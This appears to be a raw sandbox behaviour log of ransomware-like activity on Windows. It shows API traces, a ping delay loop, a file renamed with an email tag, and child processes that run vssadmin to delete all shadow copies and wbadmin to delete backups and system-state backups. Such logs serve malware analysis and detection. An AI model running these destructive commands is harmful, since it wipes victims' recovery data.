	[0110.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12d0
	[0110.557] GetFileSizeEx (in: hFile=0x12d0, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=59175) returned 1
	[0110.557] CreateFileMappingA (hFile=0x12d0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe72d, lpName=0x0) returned 0x12d4
	[0110.557] MapViewOfFile (hFileMappingObject=0x12d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000

Process:
	id = "8"
	image_name = "ping.exe"
	filename = "c:\\windows\\syswow64\\ping.exe"
	page_root = "0x1b5eb000"
	os_pid = "0x137c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x1240"
	cmd_line = "ping  127.0.0.1 "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 47
	os_tid = 0x1378

	[0077.230] GetModuleHandleA (lpModuleName=0x0) returned 0x1180000
	[0077.230] __set_app_type (_Type=0x1) 
	[0077.230] __p__fmode () returned 0x776f3c14
	[0077.230] __p__commode () returned 0x776f49ec
	[0077.231] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1183540) returned 0x0
	[0077.231] __wgetmainargs (in: _Argc=0x11840c8, _Argv=0x11840cc, _Env=0x11840d0, _DoWildCard=0, _StartInfo=0x11840dc | out: _Argc=0x11840c8, _Argv=0x11840cc, _Env=0x11840d0) returned 0
	[0077.231] SetThreadUILanguage (LangId=0x0) returned 0xd10409
	[0077.266] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0077.266] __iob_func () returned 0x776f2608
	[0077.266] _fileno (_File=0x776f2628) returned 1
	[0077.266] _get_osfhandle (_FileHandle=1) returned 0x90
	[0077.267] GetFileType (hFile=0x90) returned 0x2
	[0077.267] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f21c | out: lpMode=0xb5f21c) returned 1
	[0077.286] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x11854e0 | out: lpWSAData=0x11854e0) returned 0
	[0077.291] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x1, phkResult=0xb5f234 | out: phkResult=0xb5f234*=0xfc) returned 0x0
	[0077.291] RegQueryValueExW (in: hKey=0xfc, lpValueName="DefaultTTL", lpReserved=0x0, lpType=0xb5f228, lpData=0xb5f230, lpcbData=0xb5f22c*=0x4 | out: lpType=0xb5f228*=0x0, lpData=0xb5f230*=0x0, lpcbData=0xb5f22c*=0x4) returned 0x2
	[0077.291] RegCloseKey (hKey=0xfc) returned 0x0
	[0077.291] GetAddrInfoW (in: pNodeName="127.0.0.1", pServiceName=0x0, pHints=0xb5f1f4*(ai_flags=4, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xb5f21c | out: ppResult=0xb5f21c*=0xf7d0e8*(ai_flags=4, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xf74768*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) returned 0
	[0077.291] FreeAddrInfoW (pAddrInfo=0xf7d0e8*(ai_flags=4, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xf74768*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) 
	[0077.292] IcmpCreateFile () returned 0xf74768
	[0077.422] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0xf7d188
	[0077.422] LocalAlloc (uFlags=0x0, uBytes=0x1ff8) returned 0xf85a58
	[0077.422] GetNameInfoW (in: pSockaddr=0x1185440*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), SockaddrLength=0x10, pNodeBuffer=0xb5f328, NodeBufferSize=0x41, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="127.0.0.1", pServiceBuffer=0x0) returned 0
	[0077.460] __iob_func () returned 0x776f2608
	[0077.461] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x274b, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="蔸øﯰµ⟝Ę☨睯❋") returned 0x14
	[0077.463] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0077.463] _fileno (_File=0x776f2628) returned 1
	[0077.463] _get_osfhandle (_FileHandle=1) returned 0x90
	[0077.463] GetFileType (hFile=0x90) returned 0x2
	[0077.463] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0077.469] _fileno (_File=0x776f2628) returned 1
	[0077.469] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0077.469] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0077.469] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 20
	[0077.477] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0077.477] _fileno (_File=0x776f2628) returned 1
	[0077.477] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0077.477] LocalFree (hMem=0xf88538) returned 0x0
	[0077.477] __iob_func () returned 0x776f2608
	[0077.477] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x275a, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="韈øﯰµ⡲Ę☨睯❚") returned 0x18
	[0077.477] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0077.477] _fileno (_File=0x776f2628) returned 1
	[0077.477] _get_osfhandle (_FileHandle=1) returned 0x90
	[0077.477] GetFileType (hFile=0x90) returned 0x2
	[0077.477] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0077.477] _fileno (_File=0x776f2628) returned 1
	[0077.477] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0077.477] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0077.477] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 24
	[0077.484] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0077.484] _fileno (_File=0x776f2628) returned 1
	[0077.484] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0077.484] LocalFree (hMem=0xf897c8) returned 0x0
	[0077.484] SetConsoleCtrlHandler (HandlerRoutine=0x1181c70, Add=1) returned 1
	[0077.484] IcmpSendEcho2Ex (in: IcmpHandle=0xf74768, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xf7d188, RequestSize=0x20, RequestOptions=0xb5f2a0, ReplyBuffer=0xf85a58, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xf85a58) returned 0x1
	[0077.498] InetNtopW (in: Family=2, pAddr=0xb5f280, pStringBuf=0xb5f3b4, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1"
	[0077.498] __iob_func () returned 0x776f2608
	[0077.498] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="蔸øﯰµ⦙Ę☨睯✣") returned 0x16
	[0077.498] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0077.498] _fileno (_File=0x776f2628) returned 1
	[0077.498] _get_osfhandle (_FileHandle=1) returned 0x90
	[0077.498] GetFileType (hFile=0x90) returned 0x2
	[0077.498] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0077.510] _fileno (_File=0x776f2628) returned 1
	[0077.510] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0077.510] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0077.510] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 22
	[0079.745] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0079.745] _fileno (_File=0x776f2628) returned 1
	[0079.745] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0079.745] LocalFree (hMem=0xf88538) returned 0x0
	[0079.745] __iob_func () returned 0x776f2608
	[0079.745] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="鮰øﯰµ⧃Ę☨睯✼") returned 0x9
	[0079.745] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0079.745] _fileno (_File=0x776f2628) returned 1
	[0079.745] _get_osfhandle (_FileHandle=1) returned 0x90
	[0079.745] GetFileType (hFile=0x90) returned 0x2
	[0079.746] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0080.348] _fileno (_File=0x776f2628) returned 1
	[0080.350] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0080.357] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0080.357] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 9
	[0083.275] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0083.275] _fileno (_File=0x776f2628) returned 1
	[0083.275] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0083.275] LocalFree (hMem=0xf89bb0) returned 0x0
	[0083.275] __iob_func () returned 0x776f2608
	[0083.275] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2726, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="鮰øﯰµ⩃Ę☨睯✦") returned 0x9
	[0083.275] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0083.275] _fileno (_File=0x776f2628) returned 1
	[0083.275] _get_osfhandle (_FileHandle=1) returned 0x90
	[0083.275] GetFileType (hFile=0x90) returned 0x2
	[0083.275] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0083.365] _fileno (_File=0x776f2628) returned 1
	[0083.369] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0083.369] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0083.369] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 9
	[0084.900] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0084.900] _fileno (_File=0x776f2628) returned 1
	[0084.900] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0084.900] LocalFree (hMem=0xf89bb0) returned 0x0
	[0084.900] __iob_func () returned 0x776f2608
	[0084.902] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="鮰øﯰµ⪝Ę☨睯✨") returned 0x9
	[0084.903] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0084.903] _fileno (_File=0x776f2628) returned 1
	[0084.903] _get_osfhandle (_FileHandle=1) returned 0x90
	[0084.903] GetFileType (hFile=0x90) returned 0x2
	[0084.903] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0087.196] _fileno (_File=0x776f2628) returned 1
	[0087.196] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0087.196] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0087.196] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 9
	[0092.045] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0092.045] _fileno (_File=0x776f2628) returned 1
	[0092.045] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0092.045] LocalFree (hMem=0xf89bb0) returned 0x0
	[0092.045] Sleep (dwMilliseconds=0x3e7) 
	[0093.183] IcmpSendEcho2Ex (in: IcmpHandle=0xf74768, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xf7d188, RequestSize=0x20, RequestOptions=0xb5f2a0, ReplyBuffer=0xf85a58, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xf85a58) returned 0x1
	[0093.445] InetNtopW (in: Family=2, pAddr=0xb5f280, pStringBuf=0xb5f3b4, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1"
	[0093.445] __iob_func () returned 0x776f2608
	[0093.445] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="鱀øﯰµ⦙Ę☨睯✣") returned 0x16
	[0093.445] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0093.445] _fileno (_File=0x776f2628) returned 1
	[0093.445] _get_osfhandle (_FileHandle=1) returned 0x90
	[0093.445] GetFileType (hFile=0x90) returned 0x2
	[0093.445] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0094.075] _fileno (_File=0x776f2628) returned 1
	[0094.075] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0094.075] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0094.075] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 22
	[0102.615] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0102.615] _fileno (_File=0x776f2628) returned 1
	[0102.615] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0102.615] LocalFree (hMem=0xf89c40) returned 0x0
	[0102.615] __iob_func () returned 0x776f2608
	[0102.615] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0xb5f228, nSize=0x0, Arguments=0xb5f224 | out: lpBuffer="鳠øﯰµ⧃Ę☨睯✼") returned 0x9
	[0104.008] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0104.008] _fileno (_File=0x776f2628) returned 1
	[0104.008] _get_osfhandle (_FileHandle=1) returned 0x90
	[0104.008] GetFileType (hFile=0x90) returned 0x2
	[0104.008] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f4 | out: lpMode=0xb5f1f4) returned 1
	[0104.524] _fileno (_File=0x776f2628) returned 1
	[0104.524] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0104.524] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f154, nSize=0x50 | out: lpBuffer="\x02") returned 0x0
	[0104.524] fwprintf (in: _Stream=0x776f2628, _Format="%ls" | out: _Stream=0x776f2628) returned 9
	[0108.065] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0108.065] _fileno (_File=0x776f2628) returned 1
	[0108.065] _setmode (_FileHandle=1, _Mode=16384) returned 65536
	[0108.065] LocalFree (hMem=0xf89ce0) returned 0x0
	[0108.065] __iob_func () returned 0x776f2608
	[0108.065] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0xb5f22c, nSize=0x0, Arguments=0xb5f228 | out: lpBuffer="鳠øﯰµ⩽Ę☨睯✧") returned 0x9
	[0108.065] fflush (in: _File=0x776f2628 | out: _File=0x776f2628) returned 0
	[0108.065] _fileno (_File=0x776f2628) returned 1
	[0108.071] _get_osfhandle (_FileHandle=1) returned 0x90
	[0108.071] GetFileType (hFile=0x90) returned 0x2
	[0108.071] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb5f1f8 | out: lpMode=0xb5f1f8) returned 1
	[0108.181] _fileno (_File=0x776f2628) returned 1
	[0108.181] _setmode (_FileHandle=1, _Mode=131072) returned 16384
	[0108.181] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0xb5f158, nSize=0x50 | out: lpBuffer="µ犛瓋") returned 0x0
	[0108.181] fwprintf (_Stream=0x776f2628, _Format="%ls") 

Thread:
	id = 52
	os_tid = 0x1394


Thread:
	id = 53
	os_tid = 0x1354


Thread:
	id = 54
	os_tid = 0x13a8


Process:
	id = "9"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x1bbcb000"
	os_pid = "0x13c8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0x13d4"
	cmd_line = "\"C:\\WINDOWS\\system32\\VSSADMIN.EXE\" Delete Shadows /All /Quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 55
	os_tid = 0x13cc


Thread:
	id = 62
	os_tid = 0xa70


Thread:
	id = 78
	os_tid = 0x388


Thread:
	id = 96
	os_tid = 0xf7c


Thread:
	id = 97
	os_tid = 0xf78


Process:
	id = "10"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1bc09000"
	os_pid = "0x1348"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "9"
	os_parent_pid = "0x13c8"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 57
	os_tid = 0x1160


Thread:
	id = 58
	os_tid = 0x100c


Thread:
	id = 59
	os_tid = 0xdb0


Thread:
	id = 60
	os_tid = 0x1324


Thread:
	id = 61
	os_tid = 0x1338


Process:
	id = "11"
	image_name = "wbadmin.exe"
	filename = "c:\\windows\\system32\\wbadmin.exe"
	page_root = "0x1c7e3000"
	os_pid = "0xd70"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0x13d4"
	cmd_line = "\"C:\\WINDOWS\\system32\\wbadmin.exe\" delete backup -keepVersions:0 -quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 63
	os_tid = 0xd28


Thread:
	id = 103
	os_tid = 0xe6c


Thread:
	id = 119
	os_tid = 0xe78


Thread:
	id = 389
	os_tid = 0x169c


Thread:
	id = 390
	os_tid = 0x16a0


Process:
	id = "12"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1c6df000"
	os_pid = "0xab0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0xd70"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 65
	os_tid = 0x60


Thread:
	id = 68
	os_tid = 0xb90


Thread:
	id = 73
	os_tid = 0x1298


Thread:
	id = 79
	os_tid = 0x5a8


Thread:
	id = 86
	os_tid = 0x84


Process:
	id = "13"
	image_name = "wbadmin.exe"
	filename = "c:\\windows\\system32\\wbadmin.exe"
	page_root = "0x1c76e000"
	os_pid = "0xdf0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0x13d4"
	cmd_line = "\"C:\\WINDOWS\\system32\\wbadmin.exe\" delete systemstatebackup -keepVersions:0 -quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 69
	os_tid = 0xdd4


Thread:
	id = 104
	os_tid = 0xf38


Thread:
	id = 116
	os_tid = 0x1178


Process:
	id = "14"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1c8f2000"
	os_pid = "0x56c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xdf0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 70
	os_tid = 0xa8c


Thread:
	id = 71
	os_tid = 0xb00


Thread:
	id = 74
	os_tid = 0xd34


Thread:
	id = 81
	os_tid = 0x73c


Thread:
	id = 92
	os_tid = 0x4b4